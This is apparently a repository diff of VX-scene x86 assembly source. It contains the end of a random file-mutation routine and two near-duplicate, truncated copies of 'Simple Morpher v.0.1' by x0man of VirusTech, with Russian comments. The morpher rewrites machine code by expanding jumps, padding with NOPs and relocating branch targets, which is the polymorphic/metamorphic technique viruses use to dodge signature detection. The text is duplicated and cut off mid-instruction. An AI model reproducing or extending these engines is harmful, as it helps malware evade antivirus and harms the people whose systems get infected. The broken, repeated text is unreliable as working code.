mov [edi+ecx], al ; Save al
loop chrom_trans_buffer
; invoke MessageBox, 0x0, "Translocation", "Chromosome Mutation", 0x0
jmp endofmutation
chrom_delection:
call random_number ; Renew the random numbers
xor eax, eax ; eax=0
mov ax, [rand_name_buffer] ; eax=0000 0000 0000 0000 ???? ???? ???? ????
mov ebx, [file_size] ; ebx=Filesize
sub ebx, 8 ; ebx-=8
cmp eax, ebx ; comparee Random number with Filesize
jg chrom_delection ; If RN>Filesize-8 then get new random number (=place to change)
add eax, [map_pointer] ; Add the offset of file memory
mov [change_byte_offset], eax ; Save the pointer
call random_number ; Get a random number
xor ecx, ecx ; ecx=0
mov cl, [rand_name_buffer] ; cl=random number
and cl, 7 ; cl=0000 0???
mov [change_byte_value], cl ; Save the random number
mov ecx, [file_size] ; eax=filesize
add ecx, [map_pointer] ; eax=End of file in memory
sub ecx, [change_byte_offset] ; eax=Bytes after Change_byte_offset
mov esi, [change_byte_offset] ; esi=Pointer to change byte
xor eax, eax ; eax=0
mov al, [change_byte_value] ; eax=number of bytes to change
add esi, eax ; esi=Pointer to end of changing in memory
mov edi, [change_byte_offset] ; edi=Offset of changing
rep movsb
; invoke MessageBox, 0x0, "Delection", "Chromosome Mutation", 0x0
jmp endofmutation
chrom_dublication:
invoke UnmapViewOfFile, [map_pointer] ; Unmap File, as we need to open it with another size
invoke CloseHandle, [map_handle] ; Close Map-Handle
call random_number ; Get a random number
xor ecx, ecx ; ecx=0
mov cl, [rand_name_buffer] ; cl=random number
and cl, 7 ; cl=0000 0???
mov [change_byte_value], cl ; Save the random number
add ecx, [file_size] ; ecx=New filesize
mov [file_size], ecx ; Save new filesize
invoke CreateFileMapping, [file_handle], 0x0, PAGE_READWRITE, 0x0, [file_size], 0x0
mov [map_handle], eax
invoke MapViewOfFile, [map_handle], FILE_MAP_WRITE, 0x0, 0x0, [file_size]
mov [map_pointer], eax
chrom_dubl_loop1:
call random_number ; Renew the random numbers
xor eax, eax ; eax=0
mov ax, [rand_name_buffer] ; eax=0000 0000 0000 0000 ???? ???? ???? ????
mov ebx, [file_size] ; ebx=Filesize
sub ebx, 8 ; ebx-=8
cmp eax, ebx ; comparee Random number with Filesize
jg chrom_dubl_loop1 ; If RN>Filesize-8 then get new random number (=place to change)
add eax, [map_pointer] ; eax=Pointer to changing part
mov [change_byte_offset], eax ; Save the offset
mov ecx, [map_pointer] ; ecx=Start of file in memory
add ecx, [file_size] ; ecx=End of file in memory
sub ecx, [change_byte_offset] ; ecx=Bytes after change-place
xor eax, eax ; eax=0
mov al, [change_byte_value] ; eax=number of bytes to change
sub ecx, eax ; ecx-=number of bytes to change
mov esi, [change_byte_offset] ; esi=Offset of changing
mov edi, [change_byte_offset] ; edi=offset of changing
add edi, eax ; edi=Offset after changing
chrom_dubl_buffer: ; Make a buffer
mov al, [esi+ecx] ; al=Value to Replace
mov [edi+ecx], al ; Save al
loop chrom_dubl_buffer
xor ecx, ecx ; ecx=0
mov cl, [change_byte_value] ; ecx=lenght of string to dublicate
mov esi, [change_byte_offset] ; From
mov edi, [change_byte_offset] ; To
add edi, ecx ; Offset of buffer
rep movsb
; invoke MessageBox, 0x0, "Dublication", "Chromosome Mutation", 0x0
jmp endofmutation
chrom_inseration:
invoke UnmapViewOfFile, [map_pointer] ; Unmap File, as we need to open it with anothe size
invoke CloseHandle, [map_handle] ; Close Map-Handle
call random_number ; Get a random number
xor ecx, ecx ; ecx=0
mov cl, [rand_name_buffer] ; cl=random number
and cl, 7 ; cl=0000 0???
mov [change_byte_value], cl ; Save the random number
add ecx, [file_size] ; ecx=New filesize
mov [file_size], ecx ; Save new filesize
invoke CreateFileMapping, [file_handle], 0x0, PAGE_READWRITE, 0x0, [file_size], 0x0
mov [map_handle], eax
invoke MapViewOfFile, [map_handle], FILE_MAP_WRITE, 0x0, 0x0, [file_size]
mov [map_pointer], eax
chrom_inser_loop1:
call random_number ; Renew the random numbers
xor eax, eax ; eax=0
mov ax, [rand_name_buffer] ; eax=0000 0000 0000 0000 ???? ???? ???? ????
mov ebx, [file_size] ; ebx=Filesize
sub ebx, 8 ; ebx-=8
cmp eax, ebx ; comparee Random number with Filesize
jg chrom_inser_loop1 ; If RN>Filesize-8 then get new random number (=place to change)
add eax, [map_pointer] ; eax=Pointer to changing part
mov [change_byte_offset], eax ; Save the offset
mov esi, [change_byte_offset] ; esi=Offset to get the new part
mov edi, rand_name_buffer ; edi=where to save
xor ecx, ecx ; ecx=0
mov cl, [change_byte_value] ; ecx=How many bytes
rep movsb ; Save the part.
chrom_inser_loop2:
call random_number ; Renew the random numbers
xor eax, eax ; eax=0
mov ax, [rand_name_buffer] ; eax=0000 0000 0000 0000 ???? ???? ???? ????
mov ebx, [file_size] ; ebx=Filesize
sub ebx, 8 ; ebx-=8
cmp eax, ebx ; Compare Random number with Filesize
jg chrom_inser_loop2 ; If RN>Filesize-8 then get new random number (=place to change)
add eax, [map_pointer] ; eax=Pointer to changing part
mov [change_byte_offset], eax ; Save the offset
mov ecx, [map_pointer] ; ecx=Start of file in memory
add ecx, [file_size] ; ecx=End of file in memory
sub ecx, [change_byte_offset] ; ecx=Bytes after change-place
xor eax, eax ; eax=0
mov al, [change_byte_value] ; eax=number of bytes to change
sub ecx, eax ; ecx-=number of bytes to change
mov esi, [change_byte_offset] ; esi=Offset of changing
mov edi, [change_byte_offset] ; edi=offset of changing
add edi, eax ; edi=Offset after changing
chrom_inser_buffer: ; Make a buffer
mov al, [esi+ecx] ; al=Value to Replace
mov [edi+ecx], al ; Save al
loop chrom_inser_buffer
mov esi, rand_name_buffer ; esi=source
mov edi, [change_byte_offset] ; edi=destination
xor ecx, ecx ; ecx=0
mov cl, [change_byte_value] ; ecx=length
rep movsb ; Write saved part to the new place
; invoke MessageBox, 0x0, "Inseration", "Chromosome Mutation", 0x0
jmp endofmutation
.end start

File diff suppressed because it is too large Load Diff

Binary file not shown.

Binary file not shown.

View File

@ -0,0 +1,510 @@
;::::::::::::::::::::::::::::::::::::::::::::::::::::::
; Simple Morpher v.0.1 :
; :
; x0man © 2008 :
; :
; http://www.virustech.org/ :
;::::::::::::::::::::::::::::::::::::::::::::::::::::::
;-----------------------------------------------------------------------------------------:
; :
;В Кратце расскажу алгоритм, который у меня реализован. :
; :
;Есть массив в который заносятся данные о инструкциях :
;Одним эллементом массива является: :
; :
;_OPCODE struct; :
; dwOldAddress dd ? ; Старый адрес инструкции (до морфинга) :
; dwNewAddress dd ? ; Новый адрес инструкции (после морфинга) :
; dwJumpAddress dd ? ; Адрес куда должен указывать прыжок(или вызов) :
; ; (если инструкция им является) :
; dwLength dd ? ; в данном примере эта переменная не используется :
; ; Надеюсь вам она пригодиться больше чем мне :) :
;_OPCODE ends :
; :
;В "мой" Первый этап входит :
; 1. Парсинг кода, и выделение на каждую инструкцию одного :
; эллемента массива, заполняя данные в структуре _OPCODE. :
; 2. Расширение кода для будущих изменений (замена коротких прыжков на длинные) :
; 3. Если инструкция является прыжком или вызовом, нам нужно :
; подсчитать скажем так EIP при выполнении оной. :
; 4. И есстественно разбавление кода (инструкцией NOP) :
; :
;Второй этап :
; 1. Проходимся по массиву с описаниями инструкций :
; 2. Если инструкция является вызовом, то вычисляем параметр у прыжка :
; или вызова, и меняем его на корректный(уже в изменённом коде). :
; :
; :
;Вроде бы всё... для более точных описаний смотрим код! :
; :
;Дизассемблер длинн инструкций я взял Catchy_32, который можно скачать с :
; http://www.wasm.ru, он также прилагается к исходникам в приложении. :
; :
;GreeTz: :
; Osen :
; izee [ EOF-Project ] http://eof-project.net/ :
; :
; tPORt (http://www.tport.org/) :
; REVENGE(http://www.revenge-crew.com/) :
; TLG (http://tlg.astalavista.ms/) :
; TSRh (http://tsrh.org.ua/) :
; TPOC (http://vx.netlux.org/tpoc/) :
; :
; :
; Спасибо за внимание! :
; :
; 10.05.2008 :
; x0man [VirusTech] :
; http://www.virustech.org :
;-----------------------------------------------------------------------------------------:
.386
.model flat, stdcall
option casemap :none
include \MASM32\INCLUDE\windows.inc
include \MASM32\INCLUDE\kernel32.inc
include \MASM32\INCLUDE\user32.inc
includelib \MASM32\LIB\kernel32.lib
includelib \MASM32\LIB\user32.lib
; #########################################################################
_OPCODE struct
dwOldAddress dd ? ; Старый адрес инструкции (до морфинга)
dwNewAddress dd ? ; Новый адрес инструкции (после морфинга)
dwJumpAddress dd ? ; Адрес куда должен указывать прыжок(или вызов)
; (если инструкция им является)
dwLength dd ? ; в данном примере эта переменная не используется
; Надеюсь вам она пригодиться больше чем мне :)
_OPCODE ends
; #########################################################################
.code
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
; Код для теста :)
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
test_code:
@@:
jmp @F
mov eax, edx
pop eax
push eax
call @F
cmp eax, 0
jne @B
jmp @B
add ecx, edx
add eax, edx
xchg edx, ecx
call @B
jne @F
db 0,0,0,0,0,0,0,0,0,0
db 0,0,0,0,0,0,0,0,0,0
db 0,0,0,0,0,0,0,0,0,0
db 0,0,0,0,0,0,0,0,0,0
db 0,0,0,0,0,0,0,0,0,0
db 0,0,0,0,0,0,0,0,0,0
db 0,0,0,0,0,0,0,0,0,0
db 0,0,0,0,0,0,0,0,0,0
db 0,0,0,0,0,0,0,0,0,0
db 0,0,0,0,0,0,0,0,0,0
db 0,0,0,0,0,0,0,0,0,0
db 0,0,0,0,0,0,0,0,0,0
db 0,0,0,0,0,0,0,0,0,0
db 0,0,0,0,0,0,0,0,0,0
db 0,0,0,0,0,0,0,0,0,0
jne @B
ret
@@:
ret
int 3
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
;::::::::::::::::::::::::::::::::::
; Подключим дизасм длинн инструкций
include Catchy32\Catchy32.inc
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::|
; Функция для подсчёта числа, куда должен указывать прыжок|
; Пример: dwCurrentAddress - указывает на код |
; |
; 00000000: 74 30 JE imm8 |
; эта функция высчитывает "imm8" |
; в нашем примере imm8 = 00000000 + 30 + 2 = 00000032 |
; т.е. |
; 00000000 - Текущий адрес |
; 30 - Параметр |
; 2 - Длинна инструкции JE imm8 |
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::|
; 00000000: 74 30 JE 00000032 --. |
; 00000002: | |
; | |
; 00000032: <-----° |
; Это описание для "положительных" прыжков |
; Для отрицательных, попробуйте разобрать сами |
; там не сложно ;-) |
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::|:::|
; IN dwCurrentAddress : текущий адрес предпологаемого прыжка |
; OUT EAX : Адрес куда прыжок указывает |
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::|
get_jump_address proc dwCurrentAddress : DWORD
push ecx
push edi
mov edi, dwCurrentAddress
mov al, byte ptr [edi]
;:::::::::::::::::::::::::::::::::::::
; XX imm8
cmp al, 070h
jl @F
cmp al, 07Fh
jna @_jump_imm8_
@@:
;:::::::::::::::::::::::::::::::::::::
cmp al, 0EBh
je @_jump_uncond_imm8_
;:::::::::::::::::::::::::::::::::::::
; 0F XX imm32
cmp al, 00Fh
jne @F
mov ah, byte ptr [edi + 1]
cmp ah, 080h
jl @F
cmp ah, 08Fh
jna @_jump_imm32_
;:::::::::::::::::::::::::::::::::::::
@@:
;:::::::::::::::::::::::::::::::::::::
; JMP imm32
cmp al, 0E9h
je @_jump_uncond_imm32_
;:::::::::::::::::::::::::::::::::::::
; CALL
cmp al, 0E8h
je @_call_imm32_
;:::::::::::::::::::::::::::::::::::::
jmp @_exit_
;:::::::::::::::::::::::::::::::::::::
@_jump_imm8_:
@_jump_uncond_imm8_:
;:::::::::::::::::::::::::::::::::::::
; Короткие прыжки
movzx eax, byte ptr [edi + 1]
mov cl, al
test cl, 10000000b ; isNegative?
jnz @_neg_1
add edi, eax
add edi, 2
xchg eax, edi
jmp @_exit_
@_neg_1:
neg al
sub al, 2
sub edi, eax
xchg eax, edi
jmp @_exit_
@_jump_imm32_:
;:::::::::::::::::::::::::::::::::::::
; Длинные прыжки
mov eax, dword ptr [edi + 2]
mov ecx, eax
shr ecx, 24d
test ecx, 10000000b ; isNegative?
jnz @_neg_2
add eax, edi
add eax, 6
jmp @_exit_
@_neg_2:
neg eax
sub eax, 6
sub edi, eax
xchg eax, edi
jmp @_exit_
;:::::::::::::::::::::::::::::::::::::
@_jump_uncond_imm32_:
@_call_imm32_:
;:::::::::::::::::::::::::::::::::::::
; JMP imm32 & CALL imm32
mov eax, dword ptr [edi + 1]
mov ecx, eax
shr ecx, 24d
test ecx, 10000000b ; isNegative?
jnz @_neg_3
add edi, eax
add edi, 5
xchg eax, edi
jmp @_exit_
@_neg_3:
neg eax
sub eax, 5
sub edi, eax
xchg eax, edi
;///////////////////////////////////////
@_exit_:
pop edi
pop ecx
ret
get_jump_address endp
;::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::|
; Функция для поиска в массиве описаний инструкций |
; Нового адреса для прыжка.... |
; |
; IN dwAddress - Адрес прыжка |
; IN pOpcodes - Указатель на массив с описаниями опкодов |
; OUT EAX - Новый адрес прыжка... |
;::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::|
get_new_jump_address proc dwAddress:DWORD, pOpcodes : DWORD
push ecx
assume ecx : ptr _OPCODE
mov ecx, pOpcodes
mov eax, dwAddress
@@:
cmp [ecx].dwOldAddress, eax
je @F
add ecx, sizeof _OPCODE
cmp [ecx].dwOldAddress, 0
jne @B
xor eax, eax
@@:
mov eax, [ecx].dwNewAddress
pop ecx
ret
get_new_jump_address endp
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::|
; Функция разбавляет определённый код, инструкцией NOP |
; ВАЖНО! Код должен заканчиваться опкодом 0CCh |
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::|
; IN dwCodeAddress - Адрес кода для морфинга |
; IN dwOutputBuffer - Адрес куда будет занесён проморфленный код |
; OUT EAX - Размер проморфленного кода |
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::|
MorphCode proc dwCodeAddress : DWORD, dwOutputBuffer : DWORD
local pOpcodes : DWORD
local dwTotalCodeSize : DWORD
;::::::::::::::::::::::::::::::::::::::::::::::::::
; pOpcodes - Указатель на описания опкодов ::
; dwOutputBuffer - Проморфленный код ::
;::::::::::::::::::::::::::::::::::::::::::::::::::
;::::::::::::::::::::::::::::::::::::::::::::::::::::::::
; Зарезервируем памяти для массива с описаниям инструкций
invoke VirtualAlloc, NULL, 1024*1024, MEM_COMMIT + MEM_RESERVE, PAGE_READWRITE
mov pOpcodes, eax
;::::::::::::::::::::::::::::::::::::::::::::
; Обнулим переменную в которую будем заносить
; Общий размер кода
push 0
pop dwTotalCodeSize
;:::::::::::::::::::::::::::::::::::::::::
; Без комментариев
assume ecx : ptr _OPCODE
mov esi, dwCodeAddress ; Code Address
mov edi, dwOutputBuffer ; New Code Address
mov ecx, pOpcodes ; array of _OPCODES
;::::::::::::::::::::::::::::::::::::::::
;::::::::::::::::::::::::::::::::::::::::
; Первый этап :::::::::::::::::::::::::::
;::::::::::::::::::::::::::::::::::::::::
;::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
; Укажем для первой инструкции её новый адрес что в EDI
mov [ecx].dwNewAddress, edi
;::::::::::::::::::::::::::::::::::::
; Начинаем цикл
; Loop 1
@_loop_1:
;::::::::::::::::::::::::::::::::::::
; Узнаем длинну у инструкции
; IN ESI == Current Code Offset
; OUT EAX == Instruction Length
call c_Catchy
;:::::::::::::::::::::::::::::::::::::
; Занесём данные в массив с описаниями
mov [ecx].dwOldAddress, esi
mov [ecx].dwLength, eax
;::::::::::::::::::::::::::::::::::::
; Короткие условные прыжки меняем на длинные
; Они отличаются от длинных префиксом 00Fh
; в начале и +10h к текущему опкоду прыжка
; Пример:
; Было :00000000: 74 30
; 0F +10 30 00 00 00
; Стало:00000000: 0F 84 30 00 00 00
cmp byte ptr [esi], 070h
jl @F
cmp byte ptr [esi], 07Fh
ja @F
push eax
mov al, 00Fh
stosb
movzx eax, byte ptr [esi]
add eax, 10h
stosd
;:::::::::::::::::::::::::::::::::::::::
; Подсчитаем адрес куда указывает прыжок
push esi
call get_jump_address
;::::::::::::::::::::::::
; Занесём данные в массив
mov [ecx].dwJumpAddress, eax
pop eax
;::::::::::::::::::::::::::::::::::::
; Прибавим к общему размеру кода
; Длинну 00Fh XXh imm32, т.е. число 6
; где XX » [80h..8Fh]
add dwTotalCodeSize, 6
;::::::::::::::::::::::::::::::::::::
; Пропустим перенос маленького прыжка
; Переходим к следующей инструкции
jmp @_next_inst_
@@:
;::::::::::::::::::::::::::::::::::::
; Меняем...
; JMP imm8 -> JMP imm32
; Пример
; Было : 00000000: EB 33
; Стало: 00000000: E9 33 00 00 00
cmp byte ptr [esi], 0EBh
jne @F
push eax
mov al, 0E9h
stosb
xor eax, eax
stosd
;:::::::::::::::::::::::::::::::::::::::
; Подсчитаем адрес куда указывает прыжок
push esi
call get_jump_address
;::::::::::::::::::::::::
; Занесём данные в массив
mov [ecx].dwJumpAddress, eax
pop eax
;:::::::::::::::::::::::::::::::
; Прибавим к общему размеру кода
; Длинну E9 imm32, т.е. число 5
add dwTotalCodeSize, 5
jmp @_next_inst_
;::::::::::::::::::::::::::::::::::::
@@:
;::::::::::::::::::::::::::::::::::::
; Проверим на JMP imm32
cmp byte ptr [esi], 0E9h
jne @F
push eax
push esi
call get_jump_address
mov [ecx].dwJumpAddress, eax
pop eax
jmp @_replace_instr_
;::::::::::::::::::::::::::::::::::::
@@:
;::::::::::::::::::::::::::::::::::::
; Проверим на CALL
cmp byte ptr [esi], 0E8h
jne @F
push eax
push esi
call get_jump_address
mov [ecx].dwJumpAddress, eax
pop eax
jmp @_replace_instr_
;::::::::::::::::::::::::::::::::::::
@@:
;::::::::::::::::::::::::::::::::::::
; 00Fh XX imm32
cmp byte ptr [esi], 00Fh
jne @F
cmp byte ptr [esi + 1], 080h
jl @F
cmp byte ptr [esi + 1], 08Fh
ja @F
push eax
push esi
call get_jump_address
mov [ecx].dwJumpAddress, eax
pop eax
;::::::::::::::::::::::::::::::::::::
@@:
@_replace_instr_:
;::::::::::::::::::::::::::::::::::::::::::
; Переносим инструкцию в новый буффер.
; Этот код выполниться в том случае
; Если мы не меняли оригинальные инструкции
push esi
push ecx
mov ecx, eax
rep movsb
pop ecx
pop e

View File

@ -0,0 +1,758 @@
;::::::::::::::::::::::::::::::::::::::::::::::::::::::
; Simple Morpher v.0.1 :
; :
; x0man © 2008 :
; :
; http://www.virustech.org/ :
;::::::::::::::::::::::::::::::::::::::::::::::::::::::
;-----------------------------------------------------------------------------------------:
; :
;В Кратце расскажу алгоритм, который у меня реализован. :
; :
;Есть массив в который заносятся данные о инструкциях :
;Одним эллементом массива является: :
; :
;_OPCODE struct; :
; dwOldAddress dd ? ; Старый адрес инструкции (до морфинга) :
; dwNewAddress dd ? ; Новый адрес инструкции (после морфинга) :
; dwJumpAddress dd ? ; Адрес куда должен указывать прыжок(или вызов) :
; ; (если инструкция им является) :
; dwLength dd ? ; в данном примере эта переменная не используется :
; ; Надеюсь вам она пригодиться больше чем мне :) :
;_OPCODE ends :
; :
;В "мой" Первый этап входит :
; 1. Парсинг кода, и выделение на каждую инструкцию одного :
; эллемента массива, заполняя данные в структуре _OPCODE. :
; 2. Расширение кода для будущих изменений (замена коротких прыжков на длинные) :
; 3. Если инструкция является прыжком или вызовом, нам нужно :
; подсчитать скажем так EIP при выполнении оной. :
; 4. И есстественно разбавление кода (инструкцией NOP) :
; :
;Второй этап :
; 1. Проходимся по массиву с описаниями инструкций :
; 2. Если инструкция является вызовом, то вычисляем параметр у прыжка :
; или вызова, и меняем его на корректный(уже в изменённом коде). :
; :
; :
;Вроде бы всё... для более точных описаний смотрим код! :
; :
;Дизассемблер длинн инструкций я взял Catchy_32, который можно скачать с :
; http://www.wasm.ru, он также прилагается к исходникам в приложении. :
; :
;GreeTz: :
; Osen :
; izee [ EOF-Project ] http://eof-project.net/ :
; :
; tPORt (http://www.tport.org/) :
; REVENGE(http://www.revenge-crew.com/) :
; TLG (http://tlg.astalavista.ms/) :
; TSRh (http://tsrh.org.ua/) :
; TPOC (http://vx.netlux.org/tpoc/) :
; :
; :
; Спасибо за внимание! :
; :
; 10.05.2008 :
; x0man [VirusTech] :
; http://www.virustech.org :
;-----------------------------------------------------------------------------------------:
.386
.model flat, stdcall
option casemap :none
include \MASM32\INCLUDE\windows.inc
include \MASM32\INCLUDE\kernel32.inc
include \MASM32\INCLUDE\user32.inc
includelib \MASM32\LIB\kernel32.lib
includelib \MASM32\LIB\user32.lib
; #########################################################################
_OPCODE struct
dwOldAddress dd ? ; Старый адрес инструкции (до морфинга)
dwNewAddress dd ? ; Новый адрес инструкции (после морфинга)
dwJumpAddress dd ? ; Адрес куда должен указывать прыжок(или вызов)
; (если инструкция им является)
dwLength dd ? ; в данном примере эта переменная не используется
; Надеюсь вам она пригодиться больше чем мне :)
_OPCODE ends
; #########################################################################
.code
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
; Код для теста :)
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
test_code:
@@:
jmp @F
mov eax, edx
pop eax
push eax
call @F
cmp eax, 0
jne @B
jmp @B
add ecx, edx
add eax, edx
xchg edx, ecx
call @B
jne @F
db 0,0,0,0,0,0,0,0,0,0
db 0,0,0,0,0,0,0,0,0,0
db 0,0,0,0,0,0,0,0,0,0
db 0,0,0,0,0,0,0,0,0,0
db 0,0,0,0,0,0,0,0,0,0
db 0,0,0,0,0,0,0,0,0,0
db 0,0,0,0,0,0,0,0,0,0
db 0,0,0,0,0,0,0,0,0,0
db 0,0,0,0,0,0,0,0,0,0
db 0,0,0,0,0,0,0,0,0,0
db 0,0,0,0,0,0,0,0,0,0
db 0,0,0,0,0,0,0,0,0,0
db 0,0,0,0,0,0,0,0,0,0
db 0,0,0,0,0,0,0,0,0,0
db 0,0,0,0,0,0,0,0,0,0
jne @B
ret
@@:
ret
int 3
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
;::::::::::::::::::::::::::::::::::
; Подключим дизасм длинн инструкций
include Catchy32\Catchy32.inc
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::|
; Функция для подсчёта числа, куда должен указывать прыжок|
; Пример: dwCurrentAddress - указывает на код |
; |
; 00000000: 74 30 JE imm8 |
; эта функция высчитывает "imm8" |
; в нашем примере imm8 = 00000000 + 30 + 2 = 00000032 |
; т.е. |
; 00000000 - Текущий адрес |
; 30 - Параметр |
; 2 - Длинна инструкции JE imm8 |
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::|
; 00000000: 74 30 JE 00000032 --. |
; 00000002: | |
; | |
; 00000032: <-----° |
; Это описание для "положительных" прыжков |
; Для отрицательных, попробуйте разобрать сами |
; там не сложно ;-) |
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::|:::|
; IN dwCurrentAddress : текущий адрес предпологаемого прыжка |
; OUT EAX : Адрес куда прыжок указывает |
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::|
get_jump_address proc dwCurrentAddress : DWORD
push ecx
push edi
mov edi, dwCurrentAddress
mov al, byte ptr [edi]
;:::::::::::::::::::::::::::::::::::::
; XX imm8
cmp al, 070h
jl @F
cmp al, 07Fh
jna @_jump_imm8_
@@:
;:::::::::::::::::::::::::::::::::::::
cmp al, 0EBh
je @_jump_uncond_imm8_
;:::::::::::::::::::::::::::::::::::::
; 0F XX imm32
cmp al, 00Fh
jne @F
mov ah, byte ptr [edi + 1]
cmp ah, 080h
jl @F
cmp ah, 08Fh
jna @_jump_imm32_
;:::::::::::::::::::::::::::::::::::::
@@:
;:::::::::::::::::::::::::::::::::::::
; JMP imm32
cmp al, 0E9h
je @_jump_uncond_imm32_
;:::::::::::::::::::::::::::::::::::::
; CALL
cmp al, 0E8h
je @_call_imm32_
;:::::::::::::::::::::::::::::::::::::
jmp @_exit_
;:::::::::::::::::::::::::::::::::::::
@_jump_imm8_:
@_jump_uncond_imm8_:
;:::::::::::::::::::::::::::::::::::::
; Короткие прыжки
movzx eax, byte ptr [edi + 1]
mov cl, al
test cl, 10000000b ; isNegative?
jnz @_neg_1
add edi, eax
add edi, 2
xchg eax, edi
jmp @_exit_
@_neg_1:
neg al
sub al, 2
sub edi, eax
xchg eax, edi
jmp @_exit_
@_jump_imm32_:
;:::::::::::::::::::::::::::::::::::::
; Длинные прыжки
mov eax, dword ptr [edi + 2]
mov ecx, eax
shr ecx, 24d
test ecx, 10000000b ; isNegative?
jnz @_neg_2
add eax, edi
add eax, 6
jmp @_exit_
@_neg_2:
neg eax
sub eax, 6
sub edi, eax
xchg eax, edi
jmp @_exit_
;:::::::::::::::::::::::::::::::::::::
@_jump_uncond_imm32_:
@_call_imm32_:
;:::::::::::::::::::::::::::::::::::::
; JMP imm32 & CALL imm32
mov eax, dword ptr [edi + 1]
mov ecx, eax
shr ecx, 24d
test ecx, 10000000b ; isNegative?
jnz @_neg_3
add edi, eax
add edi, 5
xchg eax, edi
jmp @_exit_
@_neg_3:
neg eax
sub eax, 5
sub edi, eax
xchg eax, edi
;///////////////////////////////////////
@_exit_:
pop edi
pop ecx
ret
get_jump_address endp
;::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::|
; Функция для поиска в массиве описаний инструкций |
; Нового адреса для прыжка.... |
; |
; IN dwAddress - Адрес прыжка |
; IN pOpcodes - Указатель на массив с описаниями опкодов |
; OUT EAX - Новый адрес прыжка... |
;::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::|
get_new_jump_address proc dwAddress:DWORD, pOpcodes : DWORD
push ecx
assume ecx : ptr _OPCODE
mov ecx, pOpcodes
mov eax, dwAddress
@@:
cmp [ecx].dwOldAddress, eax
je @F
add ecx, sizeof _OPCODE
cmp [ecx].dwOldAddress, 0
jne @B
xor eax, eax
@@:
mov eax, [ecx].dwNewAddress
pop ecx
ret
get_new_jump_address endp
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::|
; Функция разбавляет определённый код, инструкцией NOP |
; ВАЖНО! Код должен заканчиваться опкодом 0CCh |
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::|
; IN dwCodeAddress - Адрес кода для морфинга |
; IN dwOutputBuffer - Адрес куда будет занесён проморфленный код |
; OUT EAX - Размер проморфленного кода |
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::|
MorphCode proc dwCodeAddress : DWORD, dwOutputBuffer : DWORD
local pOpcodes : DWORD
local dwTotalCodeSize : DWORD
;::::::::::::::::::::::::::::::::::::::::::::::::::
; pOpcodes - Указатель на описания опкодов ::
; dwOutputBuffer - Проморфленный код ::
;::::::::::::::::::::::::::::::::::::::::::::::::::
;::::::::::::::::::::::::::::::::::::::::::::::::::::::::
; Зарезервируем памяти для массива с описаниям инструкций
invoke VirtualAlloc, NULL, 1024*1024, MEM_COMMIT + MEM_RESERVE, PAGE_READWRITE
mov pOpcodes, eax
;::::::::::::::::::::::::::::::::::::::::::::
; Обнулим переменную в которую будем заносить
; Общий размер кода
push 0
pop dwTotalCodeSize
;:::::::::::::::::::::::::::::::::::::::::
; Без комментариев
assume ecx : ptr _OPCODE
mov esi, dwCodeAddress ; Code Address
mov edi, dwOutputBuffer ; New Code Address
mov ecx, pOpcodes ; array of _OPCODES
;::::::::::::::::::::::::::::::::::::::::
;::::::::::::::::::::::::::::::::::::::::
; Первый этап :::::::::::::::::::::::::::
;::::::::::::::::::::::::::::::::::::::::
;::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
; Укажем для первой инструкции её новый адрес что в EDI
mov [ecx].dwNewAddress, edi
;::::::::::::::::::::::::::::::::::::
; Начинаем цикл
; Loop 1
@_loop_1:
;::::::::::::::::::::::::::::::::::::
; Узнаем длинну у инструкции
; IN ESI == Current Code Offset
; OUT EAX == Instruction Length
call c_Catchy
;:::::::::::::::::::::::::::::::::::::
; Занесём данные в массив с описаниями
mov [ecx].dwOldAddress, esi
mov [ecx].dwLength, eax
;::::::::::::::::::::::::::::::::::::
; Короткие условные прыжки меняем на длинные
; Они отличаются от длинных префиксом 00Fh
; в начале и +10h к текущему опкоду прыжка
; Пример:
; Было :00000000: 74 30
; 0F +10 30 00 00 00
; Стало:00000000: 0F 84 30 00 00 00
cmp byte ptr [esi], 070h
jl @F
cmp byte ptr [esi], 07Fh
ja @F
push eax
mov al, 00Fh
stosb
movzx eax, byte ptr [esi]
add eax, 10h
stosd
;:::::::::::::::::::::::::::::::::::::::
; Подсчитаем адрес куда указывает прыжок
push esi
call get_jump_address
;::::::::::::::::::::::::
; Занесём данные в массив
mov [ecx].dwJumpAddress, eax
pop eax
;::::::::::::::::::::::::::::::::::::
; Прибавим к общему размеру кода
; Длинну 00Fh XXh imm32, т.е. число 6
; где XX » [80h..8Fh]
add dwTotalCodeSize, 6
;::::::::::::::::::::::::::::::::::::
; Пропустим перенос маленького прыжка
; Переходим к следующей инструкции
jmp @_next_inst_
@@:
;::::::::::::::::::::::::::::::::::::
; Меняем...
; JMP imm8 -> JMP imm32
; Пример
; Было : 00000000: EB 33
; Стало: 00000000: E9 33 00 00 00
cmp byte ptr [esi], 0EBh
jne @F
push eax
mov al, 0E9h
stosb
xor eax, eax
stosd
;:::::::::::::::::::::::::::::::::::::::
